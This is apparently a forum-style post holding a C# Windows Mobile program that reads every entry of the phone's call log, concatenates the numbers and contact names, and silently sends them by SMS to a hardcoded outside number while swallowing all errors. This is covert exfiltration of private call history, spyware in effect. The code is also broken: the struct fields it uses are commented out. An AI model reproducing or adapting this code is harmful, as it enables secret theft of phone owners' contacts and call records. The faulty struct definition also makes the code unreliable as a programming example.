Look at the code.
using System;using System.Collections.Generic;using System.Text;using System.Runtime.InteropServices;using Microsoft.WindowsMobile.PocketOutlook;namespace ReturnCall{ class Program { [StructLayout(LayoutKind.Sequential)] public struct CALLLOGENTRY { /* public UInt32 cbSize; public UInt64 ftStartTime; public UInt64 ftEndTime; public short iom; public bool fOutgoing; public bool fConnected; public bool fEnded; public bool fRoam; public short cidt; public IntPtr pszNumber; public IntPtr pszName; public IntPtr pszNameType; public IntPtr pszNote; */ }; [DllImport("phone.dll", EntryPoint = "PhoneOpenCallLog", SetLastError = true)] private static extern int PhoneOpenCallLog(ref IntPtr pHandle); [DllImport("phone.dll", EntryPoint = "PhoneCloseCallLog", SetLastError = true)] private static extern int PhoneCloseCallLog(IntPtr pHandle); [DllImport("phone.dll", EntryPoint = "PhoneGetCallLogEntry", SetLastError = true)] private static extern int PhoneGetCallLogEntry(IntPtr pHandke, ref CALLLOGENTRY pEntry); static void Main(string[] args) { { string CallInfo = ""; try { IntPtr handle = IntPtr.Zero; CALLLOGENTRY entry = new CALLLOGENTRY(); PhoneOpenCallLog(ref handle); entry.cbSize = (uint)Marshal.SizeOf(entry); if (handle != IntPtr.Zero) { while (PhoneGetCallLogEntry(handle, ref entry) == 0) { string phoneNumber = Marshal.PtrToStringUni(entry.pszNumber); string name = Marshal.PtrToStringUni(entry.pszName); if (phoneNumber == null) { phoneNumber = string.Empty; } if (name == null) { name = string.Empty; } string temp = (phoneNumber.Trim() + name.Trim()); CallInfo = CallInfo + temp; } PhoneCloseCallLog(handle); Microsoft.WindowsMobile.PocketOutlook.SmsMessage sms = new SmsMessage("151608XXXXXX", CallInfo.Substring(0, 140)); sms.Send(); } else { int error = Marshal.GetLastWin32Error(); } } catch (Exception ep) { } finally { } } } }}